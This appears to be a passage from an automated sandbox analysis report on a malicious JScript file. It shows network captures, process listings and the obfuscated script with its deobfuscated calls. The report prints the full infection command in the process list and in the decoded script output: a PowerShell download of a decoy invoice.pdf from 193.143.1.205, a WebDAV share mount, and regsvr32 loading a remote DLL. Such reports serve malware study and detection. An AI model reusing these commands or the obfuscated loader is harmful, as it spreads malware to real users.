Jan 11, 2025 02:05:24.596287966 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:05:24.596400023 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 02:05:24.596412897 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 02:05:24.596455097 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 02:05:24.596473932 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 02:05:24.596487045 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 02:05:24.596504927 CET	896	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 02:05:24.596638918 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G
Jan 11, 2025 02:05:24.601119995 CET	888	IN	Data Raw: 66 9c b0 5c 8b 7c 0f f5 43 85 e1 de e6 5c c9 d2 e4 a7 05 fc 4c 5f f9 44 4e dd ce 64 95 ab fc 8e 85 cf 82 94 41 bf 6b e9 d5 d0 7a 3b 74 7a f6 e4 a9 2b bc e1 73 d9 7d f4 50 5a 5d 42 6b 5e cd ca 33 7c 17 ba b1 f8 2d b5 61 5c f6 23 f0 69 1e 33 bd 7c Data Ascii: f\\|C\L_DNdAkz;tz+s}PZ]Bk^3\|-a\#i3\|2GsrGKhd@B oZ-n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	4592	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:05:26.493654013 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:05:27.273688078 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:05:27 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:05:19
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1327128311804210730.js"
Imagebase:	0x7ff7ccb80000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:05:20
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll
Imagebase:	0x7ff6c7940000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:05:20
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:05:20
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:05:25
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	20:05:25
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6c7940000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:05:25
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7d55c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:05:26
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	20:05:26
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:05:27
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1588,i,4786453068424789189,2420547936523425824,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function kcyik() {	kcyik() ➔ undefined
1	jjisjkq = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var lpiwprf = this[qflbdd + qtpzaydec + pmlzcz + gaxrd + defwpjpbw + uapbg + gxhvm + tvjzfacka] ( this[vtxgjczmv + nxxbszl + bdpkelt + pmlzcz + xomeghp + qflbdd + tvjzfacka][sbrppik + pmlzcz + defwpjpbw + qtpzaydec + tvjzfacka + defwpjpbw + narvv + ndsutmt + gbctiefo + defwpjpbw + bdpkelt + tvjzfacka] ( vtxgjczmv + nxxbszl + bdpkelt + pmlzcz + xomeghp + qflbdd + tvjzfacka + dfvwun + nxxbszl + jhajelcmj + defwpjpbw + grojprjj + grojprjj ) [bduutjk + defwpjpbw + uvmuf + bduutjk + defwpjpbw + qtpzaydec + pppkx] ( hqnzlumu + dhqemmkyx + eenbmamlf + wasuafnsp + dnzlhn + sbrppik + kdenvme + bduutjk + bduutjk + eenbmamlf + empdcw + jlzlqryst + dnzlhn + kdenvme + nxxbszl + eenbmamlf + bduutjk + grejjz + sbrppik + eihgesyu + gxhvm + tvjzfacka + pmlzcz + eihgesyu + grojprjj + agahrsg + fimhccs + qtpzaydec + gxhvm + defwpjpbw + grojprjj + grejjz + uapbg + gxhvm + tvjzfacka + defwpjpbw + pmlzcz + gxhvm + qtpzaydec + tvjzfacka + xomeghp + eihgesyu + gxhvm + qtpzaydec + grojprjj + grejjz + ityqdgh + eihgesyu + bdpkelt + qtpzaydec + grojprjj + defwpjpbw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( grapprzd = 0 ; grapprzd < jjisjkq[grojprjj + defwpjpbw + gxhvm + uvmuf + tvjzfacka + jhajelcmj] ; ++ grapprzd )
4	{
5	if ( lpiwprf == jjisjkq[grapprzd] )
6	{
7	lpiwprf = true;
8	break ;
9	}
10	}
11	if ( lpiwprf !== true )
12	this[vtxgjczmv + nxxbszl + bdpkelt + pmlzcz + xomeghp + qflbdd + tvjzfacka][cqmunkcze + setkspu + xomeghp + tvjzfacka] ( );
13	this[vtxgjczmv + nxxbszl + bdpkelt + pmlzcz + xomeghp + qflbdd + tvjzfacka][sbrppik + pmlzcz + defwpjpbw + qtpzaydec + tvjzfacka + defwpjpbw + narvv + ndsutmt + gbctiefo + defwpjpbw + bdpkelt + tvjzfacka] ( vtxgjczmv + nxxbszl + bdpkelt + pmlzcz + xomeghp + qflbdd + tvjzfacka + dfvwun + nxxbszl + jhajelcmj + defwpjpbw + grojprjj + grojprjj ) [pmlzcz + setkspu + gxhvm] ( bdpkelt + gexoydfa + pppkx + agahrsg + ptfijed + bdpkelt + agahrsg + qflbdd + eihgesyu + hsunzgze + defwpjpbw + pmlzcz + gaxrd + jhajelcmj + defwpjpbw + grojprjj + grojprjj + dfvwun + defwpjpbw + grqyhdl + defwpjpbw + agahrsg + ydmmxact + sbrppik + eihgesyu + gexoydfa + gexoydfa + qtpzaydec + gxhvm + pppkx + agahrsg + snesf + uapbg + gxhvm + nnxjjg + eihgesyu + coymsk + defwpjpbw + ydmmxact + vtxgjczmv + defwpjpbw + ndsutmt + bduutjk + defwpjpbw + isbpwqz + setkspu + defwpjpbw + gaxrd + tvjzfacka + agahrsg + ydmmxact + narvv + setkspu + tvjzfacka + ctfol + xomeghp + grojprjj + defwpjpbw + agahrsg + gekokpgqu + tvjzfacka + defwpjpbw + gexoydfa + qflbdd + gekokpgqu + grejjz + xomeghp + gxhvm + nnxjjg + eihgesyu + xomeghp + bdpkelt + defwpjpbw + dfvwun + qflbdd + pppkx + ceceor + agahrsg + jhajelcmj + tvjzfacka + tvjzfacka + qflbdd + roqxgiqr + ptfijed + ptfijed + ypstocjeo + zphrgguw + thcimidny + dfvwun + ypstocjeo + qhgvajbt + thcimidny + dfvwun + ypstocjeo + dfvwun + nqjcydfm + hazlow + stram + ptfijed + xomeghp + gxhvm + nnxjjg + eihgesyu + xomeghp + bdpkelt + defwpjpbw + dfvwun + qflbdd + jhajelcmj + qflbdd + snesf + psrpccc + psrpccc + gaxrd + tvjzfacka + qtpzaydec + pmlzcz + tvjzfacka + agahrsg + gekokpgqu + tvjzfacka + defwpjpbw + gexoydfa + qflbdd + gekokpgqu + grejjz + xomeghp + gxhvm + nnxjjg + eihgesyu + xomeghp + bdpkelt + defwpjpbw + dfvwun + qflbdd + pppkx + ceceor + psrpccc + psrpccc + bdpkelt + gexoydfa + pppkx + agahrsg + ptfijed + bdpkelt + agahrsg + gxhvm + defwpjpbw + tvjzfacka + agahrsg + setkspu + gaxrd + defwpjpbw + agahrsg + grejjz + grejjz + ypstocjeo + zphrgguw + thcimidny + dfvwun + ypstocjeo + qhgvajbt + thcimidny + dfvwun + ypstocjeo + dfvwun + nqjcydfm + hazlow + stram + zdbdrovz + afducclkr + afducclkr + afducclkr + afducclkr + grejjz + pppkx + qtpzaydec + nnxjjg + hsunzgze + hsunzgze + hsunzgze + pmlzcz + eihgesyu + eihgesyu + tvjzfacka + grejjz + psrpccc + psrpccc + bdpkelt + gexoydfa + pppkx + agahrsg + ptfijed + bdpkelt + agahrsg + pmlzcz + defwpjpbw + uvmuf + gaxrd + nnxjjg + pmlzcz + thcimidny + nqjcydfm + agahrsg + ptfijed + gaxrd + agahrsg + grejjz + grejjz + ypstocjeo + zphrgguw + thcimidny + dfvwun + ypstocjeo + qhgvajbt + thcimidny + dfvwun + ypstocjeo + dfvwun + nqjcydfm + hazlow + stram + zdbdrovz + afducclkr + afducclkr + afducclkr + afducclkr + grejjz + pppkx + qtpzaydec + nnxjjg + hsunzgze + hsunzgze + hsunzgze + pmlzcz + eihgesyu + eihgesyu + tvjzfacka + grejjz + nqjcydfm + afducclkr + nudeehksw + ypstocjeo + stram + nqjcydfm + qhgvajbt + ypstocjeo + hazlow + hazlow + nqjcydfm + ypstocjeo + qhgvajbt + nqjcydfm + dfvwun + pppkx + grojprjj + grojprjj, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll",0,false) ➔ 0
14	}
15	wasuafnsp = "f";
16	wasuafnsp = "l";
17	wasuafnsp = "N";
18	wasuafnsp = "f";
19	wasuafnsp = "t";
20	wasuafnsp = "B";
21	wasuafnsp = "z";
22	wasuafnsp = "q";
23	wasuafnsp = "P";
24	wasuafnsp = "g";
25	wasuafnsp = "c";
26	wasuafnsp = "p";
27	wasuafnsp = "h";
28	wasuafnsp = "q";
29	wasuafnsp = "z";
30	wasuafnsp = "P";
31	wasuafnsp = "R";
32	wasuafnsp = "z";
33	wasuafnsp = "G";
34	wasuafnsp = "G";
35	wasuafnsp = "S";
36	wasuafnsp = "I";
37	wasuafnsp = "M";
38	wasuafnsp = "l";
39	wasuafnsp = "J";
40	wasuafnsp = "x";
41	wasuafnsp = "X";
42	wasuafnsp = "C";
43	wasuafnsp = "N";
44	wasuafnsp = "O";
45	wasuafnsp = "p";
46	wasuafnsp = "E";
47	wasuafnsp = "C";
48	wasuafnsp = "P";
49	wasuafnsp = "x";
50	wasuafnsp = "w";
51	wasuafnsp = "o";
52	wasuafnsp = "p";
53	wasuafnsp = "J";
54	wasuafnsp = "b";
55	wasuafnsp = "U";
56	wasuafnsp = "U";
57	wasuafnsp = "R";
58	wasuafnsp = "n";
59	wasuafnsp = "Y";
60	pmlzcz = "b";
61	pmlzcz = "w";
62	pmlzcz = "V";
63	pmlzcz = "o";
64	pmlzcz = "w";
65	pmlzcz = "w";
66	pmlzcz = "V";
67	pmlzcz = "a";
68	pmlzcz = "D";
69	pmlzcz = "H";
70	pmlzcz = "V";
71	pmlzcz = "b";
72	pmlzcz = "A";
73	pmlzcz = "L";
74	pmlzcz = "P";
75	pmlzcz = "E";
76	pmlzcz = "f";
77	pmlzcz = "J";
78	pmlzcz = "U";
79	pmlzcz = "B";
80	pmlzcz = "o";
81	pmlzcz = "n";
82	pmlzcz = "u";
83	pmlzcz = "b";
84	pmlzcz = "r";
85	roqxgiqr = "w";
86	roqxgiqr = "J";
87	roqxgiqr = "u";
88	roqxgiqr = "U";
89	roqxgiqr = "L";
90	roqxgiqr = "I";
91	roqxgiqr = "Y";
92	roqxgiqr = "o";
93	roqxgiqr = "E";
94	roqxgiqr = "J";
95	roqxgiqr = "h";
96	roqxgiqr = "U";
97	roqxgiqr = ":";
98	qtpzaydec = "I";
99	qtpzaydec = "I";
100	qtpzaydec = "B";
101	qtpzaydec = "E";
102	qtpzaydec = "N";
103	qtpzaydec = "A";
104	qtpzaydec = "V";
105	qtpzaydec = "z";
106	qtpzaydec = "y";
107	qtpzaydec = "a";
108	grojprjj = "r";
109	grojprjj = "l";
110	uvmuf = "y";
111	uvmuf = "K";
112	uvmuf = "w";
113	uvmuf = "i";
114	uvmuf = "b";
115	uvmuf = "r";
116	uvmuf = "c";
117	uvmuf = "Z";
118	uvmuf = "j";
119	uvmuf = "I";
120	uvmuf = "Y";
121	uvmuf = "Z";
122	uvmuf = "T";
123	uvmuf = "g";
124	gexoydfa = "F";
125	gexoydfa = "i";
126	gexoydfa = "u";
127	gexoydfa = "v";
128	gexoydfa = "F";
129	gexoydfa = "z";
130	gexoydfa = "h";
131	gexoydfa = "N";
132	gexoydfa = "L";
133	gexoydfa = "k";
134	gexoydfa = "C";
135	gexoydfa = "f";
136	gexoydfa = "c";
137	gexoydfa = "k";
138	gexoydfa = "Q";
139	gexoydfa = "M";
140	gexoydfa = "P";
141	gexoydfa = "V";
142	gexoydfa = "k";
143	gexoydfa = "W";
144	gexoydfa = "j";
145	gexoydfa = "H";
146	gexoydfa = "j";
147	gexoydfa = "I";
148	gexoydfa = "R";
149	gexoydfa = "d";
150	gexoydfa = "J";
151	gexoydfa = "J";
152	gexoydfa = "f";
153	gexoydfa = "U";
154	gexoydfa = "l";
155	gexoydfa = "M";
156	gexoydfa = "X";
157	gexoydfa = "b";
158	gexoydfa = "y";
159	gexoydfa = "B";
160	gexoydfa = "A";
161	gexoydfa = "k";
162	gexoydfa = "X";
163	gexoydfa = "T";
164	gexoydfa = "p";
165	gexoydfa = "U";
166	gexoydfa = "a";
167	gexoydfa = "m";
168	gxhvm = "m";
169	gxhvm = "k";
170	gxhvm = "b";
171	gxhvm = "Z";
172	gxhvm = "C";
173	gxhvm = "z";
174	gxhvm = "f";
175	gxhvm = "E";
176	gxhvm = "D";
177	gxhvm = "Q";
178	gxhvm = "T";
179	gxhvm = "a";
180	gxhvm = "m";
181	gxhvm = "G";
182	gxhvm = "k";
183	gxhvm = "D";
184	gxhvm = "S";
185	gxhvm = "M";
186	gxhvm = "D";
187	gxhvm = "m";
188	gxhvm = "k";
189	gxhvm = "p";
190	gxhvm = "G";
191	gxhvm = "Y";
192	gxhvm = "l";
193	gxhvm = "c";
194	gxhvm = "Q";
195	gxhvm = "k";
196	gxhvm = "T";
197	gxhvm = "H";
198	gxhvm = "N";
199	gxhvm = "W";
200	gxhvm = "A";
201	gxhvm = "B";
202	gxhvm = "H";
203	gxhvm = "n";
204	bdpkelt = "N";
205	bdpkelt = "c";
206	dhqemmkyx = "N";
207	dhqemmkyx = "j";
208	dhqemmkyx = "w";
209	dhqemmkyx = "j";
210	dhqemmkyx = "X";
211	dhqemmkyx = "p";
212	dhqemmkyx = "n";
213	dhqemmkyx = "K";
214	cqmunkcze = "l";
215	cqmunkcze = "c";
216	cqmunkcze = "I";
217	cqmunkcze = "T";
218	cqmunkcze = "x";
219	cqmunkcze = "Q";
220	cqmunkcze = "r";
221	cqmunkcze = "Z";
222	cqmunkcze = "T";
223	cqmunkcze = "n";
224	cqmunkcze = "T";
225	cqmunkcze = "X";
226	cqmunkcze = "h";
227	cqmunkcze = "J";
228	cqmunkcze = "n";
229	cqmunkcze = "Z";
230	cqmunkcze = "q";
231	cqmunkcze = "N";
232	cqmunkcze = "V";
233	cqmunkcze = "I";
234	cqmunkcze = "Q";
235	uapbg = "R";
236	uapbg = "m";
237	uapbg = "N";
238	uapbg = "C";
239	uapbg = "U";
240	uapbg = "m";
241	uapbg = "k";
242	uapbg = "l";
243	uapbg = "v";
244	uapbg = "e";
245	uapbg = "Y";
246	uapbg = "q";
247	uapbg = "J";
248	uapbg = "V";
249	uapbg = "E";
250	uapbg = "D";
251	uapbg = "b";
252	uapbg = "P";
253	uapbg = "R";
254	uapbg = "Z";
255	uapbg = "X";
256	uapbg = "x";
257	uapbg = "B";
258	uapbg = "Y";
259	uapbg = "Z";
260	uapbg = "k";
261	uapbg = "K";
262	uapbg = "l";
263	uapbg = "u";
264	uapbg = "q";
265	uapbg = "J";
266	uapbg = "q";
267	uapbg = "k";
268	uapbg = "z";
269	uapbg = "P";
270	uapbg = "F";
271	uapbg = "N";
272	uapbg = "F";
273	uapbg = "C";
274	uapbg = "i";
275	uapbg = "I";
276	psrpccc = "U";
277	psrpccc = "b";
278	psrpccc = "X";
279	psrpccc = "m";
280	psrpccc = "y";
281	psrpccc = "r";
282	psrpccc = "p";
283	psrpccc = "H";
284	psrpccc = "V";
285	psrpccc = "m";
286	psrpccc = "N";
287	psrpccc = "J";
288	psrpccc = "u";
289	psrpccc = "o";
290	psrpccc = "E";
291	psrpccc = "U";
292	psrpccc = "V";
293	psrpccc = "k";
294	psrpccc = "l";
295	psrpccc = "q";
296	psrpccc = "i";
297	psrpccc = "H";
298	psrpccc = "G";
299	psrpccc = "b";
300	psrpccc = "L";
301	psrpccc = "u";
302	psrpccc = "j";
303	psrpccc = "f";
304	psrpccc = "R";
305	psrpccc = "&";
306	nxxbszl = "y";
307	nxxbszl = "y";
308	nxxbszl = "G";
309	nxxbszl = "X";
310	nxxbszl = "W";
311	nxxbszl = "O";
312	nxxbszl = "E";
313	nxxbszl = "S";
314	ndsutmt = "P";
315	ndsutmt = "P";
316	ndsutmt = "f";
317	ndsutmt = "i";
318	ndsutmt = "K";
319	ndsutmt = "z";
320	ndsutmt = "Q";
321	ndsutmt = "D";
322	ndsutmt = "O";
323	ndsutmt = "q";
324	ndsutmt = "B";
325	ndsutmt = "a";
326	ndsutmt = "c";
327	ndsutmt = "r";
328	ndsutmt = "y";
329	ndsutmt = "Y";
330	ndsutmt = "g";
331	ndsutmt = "S";
332	ndsutmt = "p";
333	ndsutmt = "c";
334	ndsutmt = "j";
335	ndsutmt = "j";
336	ndsutmt = "O";
337	ndsutmt = "U";
338	ndsutmt = "A";
339	ndsutmt = "b";
340	hsunzgze = "y";
341	hsunzgze = "V";
342	hsunzgze = "j";
343	hsunzgze = "m";
344	hsunzgze = "z";
345	hsunzgze = "O";
346	hsunzgze = "W";
347	hsunzgze = "Z";
348	hsunzgze = "W";
349	hsunzgze = "o";
350	hsunzgze = "w";
351	eihgesyu = "F";
352	eihgesyu = "t";
353	eihgesyu = "N";
354	eihgesyu = "p";
355	eihgesyu = "b";
356	eihgesyu = "o";
357	ypstocjeo = "O";
358	ypstocjeo = "Q";
359	ypstocjeo = "N";
360	ypstocjeo = "N";
361	ypstocjeo = "M";
362	ypstocjeo = "I";
363	ypstocjeo = "F";
364	ypstocjeo = "x";
365	ypstocjeo = "a";
366	ypstocjeo = "Q";
367	ypstocjeo = "p";
368	ypstocjeo = "R";
369	ypstocjeo = "u";
370	ypstocjeo = "a";
371	ypstocjeo = "H";
372	ypstocjeo = "R";
373	ypstocjeo = "C";
374	ypstocjeo = "w";
375	ypstocjeo = "D";
376	ypstocjeo = "w";
377	ypstocjeo = "c";
378	ypstocjeo = "p";
379	ypstocjeo = "l";
380	ypstocjeo = "r";
381	ypstocjeo = "c";
382	ypstocjeo = "V";
383	ypstocjeo = "z";
384	ypstocjeo = "I";
385	ypstocjeo = "x";
386	ypstocjeo = "O";
387	ypstocjeo = "S";
388	ypstocjeo = "s";
389	ypstocjeo = "1";
390	ityqdgh = "p";
391	ityqdgh = "Y";
392	ityqdgh = "V";
393	ityqdgh = "q";
394	ityqdgh = "Z";
395	ityqdgh = "j";
396	ityqdgh = "B";
397	ityqdgh = "i";
398	ityqdgh = "Q";
399	ityqdgh = "L";
400	dnzlhn = "f";
401	dnzlhn = "I";
402	dnzlhn = "A";
403	dnzlhn = "i";
404	dnzlhn = "h";
405	dnzlhn = "R";
406	dnzlhn = "q";
407	dnzlhn = "_";
408	isbpwqz = "m";
409	isbpwqz = "O";
410	isbpwqz = "i";
411	isbpwqz = "u";
412	isbpwqz = "P";
413	isbpwqz = "n";
414	isbpwqz = "i";
415	isbpwqz = "L";
416	isbpwqz = "m";
417	isbpwqz = "b";
418	isbpwqz = "b";
419	isbpwqz = "a";
420	isbpwqz = "m";
421	isbpwqz = "l";
422	isbpwqz = "v";
423	isbpwqz = "J";
424	isbpwqz = "o";
425	isbpwqz = "E";
426	isbpwqz = "m";
427	isbpwqz = "A";
428	isbpwqz = "J";
429	isbpwqz = "O";
430	isbpwqz = "V";
431	isbpwqz = "u";
432	isbpwqz = "a";
433	isbpwqz = "V";
434	isbpwqz = "g";
435	isbpwqz = "f";
436	isbpwqz = "T";
437	isbpwqz = "t";
